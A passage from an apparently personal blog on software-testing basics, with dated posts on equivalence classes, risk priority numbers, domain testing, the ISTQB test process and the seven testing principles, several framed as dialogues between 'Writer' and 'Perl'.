Hence we know all input will same behavior with application but there is also limit for valid and invalid. So we looks forwards and create class in valid and invalid class.

Same as for login window

user have two input conditions.

User ID
Password

User Id is of two type valid and invalid.

Valid set of user id is in equivalence class because all valid user ids are created using same process and are having all the three relations.

Lets take another example:

In a computer store, the computer item can have a quantity between -500 to +500. in this case we can take any value from in

Valid class: -500 <= QTY <= +500
Invalid class: QTY > +500
Invalid class: QTY < -500

Risk and Risk.....................

2011-09-05T19:12:00.000+05:30

What is Risk analysis: It is the estimation of the RISK.
In order to perform analysis following steps are undertaken.

Identify the risk associated with product, i.e. it can be done by carefully going through the requirements specification, design specification, or other available items.
Risk needs to be categorized, i.e. functionality, performance, reliability etc.
Once the RISK is identified, rate them based on IMPACT and OCCURANCE

RPN: (risk priority number) – RPN= Impact * Occurrence

**Ranging from 1 to 5 (1 referring high impact and 5 referring the low impact)

RPN will range from 1 to 25 (Note there can be other possible schemes also)

4. Identify the most risky areas i.e. RPN in range from 1 to 5 are supposed to affect the Product most and from 20-25 might affect the Product at the lowest level.

Managing Risk

Implement appropriate measures to deal with the identified risks:

1. Take steps in advance to reduce the likelihood (and possibly the impact) of the risk.

2. Have a plan in place to reduce the impact should the risk become an outcome.

3. Convince some other member of the team or project stakeholder to reduce the likelihood or accept the impact of the risk.

4. Do nothing about the risk, which is usually a smart option only when there's little that can be done or when the likelihood and impact are
low.

Domain testing

2011-05-16T16:11:00.000+05:30

Writer: Perl can you test an air bus?

Perl: I had never ride on air bus than how?

Writer: Perl learn about air bus and learn also how to handle it in air than you can :)

Domain is about to specification. It basically a term used for defining a system. Like player has knowledge of it game and game becomes a domain for him. A shopkeeper knows how to tackle their customers. A Goldsmith can judge and also change Gold design. Blacksmith is known about quality and use of Iron. Same as An application is based on specification with boundaries that creates a domain with ranges. Testing of domain is critical part. Normally we do both type of testing Black box and white box testing. Critical thing about Domain testing is specification knowledge. These specifications make Domain of two types.
Nice Domain
Dirty Domain
Nice domain clearly defines it’s boundaries in linear manner. Specifications are clear may they have ranges from - infinity to + infinity

Dirty domains mostly are just because of misconception of specification. No proper design based on Input ranges.

Software Tesing Start point to ISTQB Certification

2010-11-14T10:26:00.000+05:30

Testing and Tester:

Writer:-“My Dear PerL”! Have you take alcohol ever before testing? Perl-No I have never took a drop of alcohol in my life. Writer K nice but when I give you a shot of alcohol for testing than. Perl -I will take alcohol for test its taste.

Testing is different and very responsible work. If you think as creator, it is very hard to get problems of your own creation. Generally, I have never heard the any mother say against her child in any worse case she like her bad habits also. This is same case ever with a creator. Developers like their own apps as their child if they found any minor bugs, they neglect them in most of the cases.

i.e. why when we start to test application be become static and have no relation with application and creator of application. May be developer can test it’s own application but now his way of testing should be change he should think as tester after forgetting of application with its relation for best result.

Testing is process of find out problems of application. These problems can more critical or minor but tester emphasizes over the all the problems of all type. Some time it happens that minor problem becomes critical to system.

Software testing is any activity aimed at evaluating an attribute or capability of a program or system and determining that it meets its required results

Basics of good tester:

Plan your tests before execute the test cases.
whenever a tester found a bug repeat the procedure to found that bug at least three time.
A tester should use clear worlds to define the bug. There will be no ambiguity in definition of bug.
Summary in report should be crisp and neat and short. I
Bug report must be conduce.
Bug report must emphasize over bug not, have indication to the developer. At least report must be reviewed by an expert.
It is good if there will be any additional information is available in bug report.
Tester must define priority, severity , version very keenly about the bug.

Fundamental of Testing

2010-09-27T17:23:00.000+05:30

Software testing is not bug finding. it is not for attacking the developers. it never depends over various techniques. it is
very graceful manner to make confidence in software by hammering hard
to program for the assessment of the program. to achieve this! testers go
for find out the bug , so that developer can fix them....

Testing has many visible aspects to perform. fundamental process of Testing can be describe as:

1. Test Planning and Control
2. Test analysis and Design
3. Test implementation and Execution
4. Evaluating exit criteria and Reporting
5. Test closure activities

Test planing:

writer: Dear Perl !when ever I say you to dig a Pit, you can not start digging immediately. what you will do for this?
Perl: I will first ask ,where i have to make a Pit? what should be size of Pit? Depending on that i will decide for the tool and other resource that make me able to dig a Pit.

Test Planing is used decides a ways to achieve the objective also define the objectives. it also decides what should be perform for achieving the objective.

Control is process of monitoring that we are performing right and in given time of period very well.
*control is continuous process that interact each process for their success.

Test planing also determine the techniques , no of people involved in team their responsibilities, Testing environment and budget for testing.

Test analysis and design:

Test analysis and design phase is that where objective takes actual shape as Test cases and conditions.
Requirements and system architecture is reviewed for better aspects, than data for Testing and conditions are specified over that requirements and architecture.
Test case are prioritized and also define either specific value is not defined for Test data. two type of Test cases are define positive and negative. positive Test are used to Test system functionality and negative are used to Test handling of errors that can be occur in system at execution.

Test implementation and execution

Test case are actually written here by writing procedures, creating set Test data. all information to run the Test and Test environment are setup here.
manual or automation( if needed )Testing is performed.

Evaluating Exit Criteria And Reporting.

Here we check our Tests logs. logs are measured as with our Test plans , iff both are at same level than it right time for stop Testing and also Assessing if more Tests are needed or if the exit criteria specified should be changed. we produce the reports for the stake holders.

Test Closure Activities

The main task is to Check which planned deliverable have been delivered, Closing incident reports or raising change records for any that remain open documenting the acceptance of the system, Finalizing and archiving Test ware, the Test environment and the Test infrastructure for later reuse Handing over the Test-ware to the maintenance organization, Analyzing lessons learned to determine changes needed for future releases and projects and also Using the information gathered to improve Test maturity.

Testing Principles

2010-09-12T13:06:00.000+05:30

Writer: "Perl" can you explain me the all the principle of car riding. Perl: "oh! tough question. I can explain a number of principles but not all of car riding".

Since many years testing done in every part of life. software testing is also updated by updating it's principle. either there are many principle of software testing. we will consider basic 7 principle of software testing.

1. Testing shows presence of Defects:
When we test a software it indicates that there will be a defect or bug, or it may have bug. but we can never say that there is no bug in software. when ever we perform testing we work hard for finding out errors and this leads to us reduce the undiscovered defects.
we can never guarantee of bug free software after performing testing, but we guarantee that software will have less undiscovered bugs after performing the testing.

2. Exhaustive Testing is impossible:
My dear friend if i ask you to know test a system completely. it really tough task and and also time consuming. we can go for complete testing of a software but it is not feasible for business and other prospective. such it can be perform for trivial cases.
let we are testing a calculator add function the no test cases for testing for integer values may be so many that they can not be consider or perform by any body in given time.
so rather than performing exhaustive testing, we should perform testing on testing over the risk analysis or on priority basis.

3. Early Testing: .
Testing is right way to find out the bugs. each bug can be fix while it is found and it really reduce the cost of bug fixing. some time for bug we have to make many changes in system because be develop the system over the previous built of the buggy system. that cause a lot of cost or time. to reduce this bug should be fix as it discovered and. late discovery of bug will causes for the same. i.e why early testing is so important.

4. Defect Clustering:
Defects are really hard to find when ever you find a bug there are lot of chance to find another bug in that buggy module. actually bug are generate due to a error ,that error may reflect for other code part or functionality or else. such more defects can be find near by a defect.

5.Pesticide Paradox:
we perform testing over a software and do perform the same test case either they are best, but some day they will stop producing bugs. like I have tested a pay roll system and produce 5 important bug my test case te02ba. but after long this test case will not be able to produce a bug for payroll system. it happens because developer stop the making the same bugs in new built or the same type of built.

6. Testing is Context dependent:
As we know testing can not be perform exhaustively. such it become context dependent. like for all medical system are tested in different manner in compare to general e commerce sites.

7. Absence of Error Fallacy:
User requirements and needs are more important rather that functioning and other measure of system. either u find any bug and fix that but if it is not meaningful until system does not meat the user need criteria.

WHY TESTING ?????????????

2010-09-08T10:27:00.001+05:30

Writer: “Perl”, imagine you are in a race and give control of a car to a kid from your rider. will you be able to win the race?

Perl:-“???”

The software is an important part of business. A minor fault of the software may have a bad effect on the organization. There are many issues that we can discuss. What happens if your health care system have the problem? What will happens when you car system produce an error in the middle of a way of your journey? Any company produces a wrong report of growth to market by the fault of a system? ????

All question directly emphasis over the system failure and says that system should be tested for these worse conditions. And verified that they will be able to handle this situation. To check these before actually implantation testing is necessary to be done.

Indeed in this world, nothing is perfect; I think, I never found any perfect human. So a human can make mistake and that mistake is an error. An error can lead to a system fault or bug. That bug may cause system failure. so this is a chain of that leads to system failure, and too save your system, you must know what error is being done. i.e. you need of testing for finding out an error or a bug in your system.

The system should be tested thoroughly on the basis of requirements, business need and the standards that are defined.

Testing is the best way to measure the quality of a system. Quality can be measured by its functionality and nonfunction characteristics very keenly. By measuring these characteristics it defines the level of Quality and confidence to software for implementation.

Big question is that how much testing is necessary while a software will not be perfect ever. So it is straightforward we can never find a bug free software. So it necessary that system should meet all requirements and standards. After a time of testing of a system, there is enough information to stop the testing.

....................................................................................................

[from the desk of Sir Jiantao Pan]

Software testing is an art. Most of the testing methods and practices are not very different from 20 years ago. It is nowhere near maturity, although there are many tools and techniques available to use. Good testing also requires a tester's creativity, experience, and intuition, together with proper techniques.
Testing is more than just debugging. Testing is not only used to locate defects and correct them. It is also used in validation, verification process, and reliability measurement.
Testing is expensive. Automation is a good way to cut down cost and time. Testing efficiency and effectiveness is the criteria for coverage-based testing techniques.
Complete testing is infeasible. Complexity is the root of the problem. At some point, software testing has to be stopped and a product has to be shipped. The stopping time can be decided by the trade-off of time and budget. Or if the reliability estimate of the software product meets the requirement.
Testing may not be the most effective method to improve software quality. Alternative methods, such as inspection, and clean-room engineering, may be even better.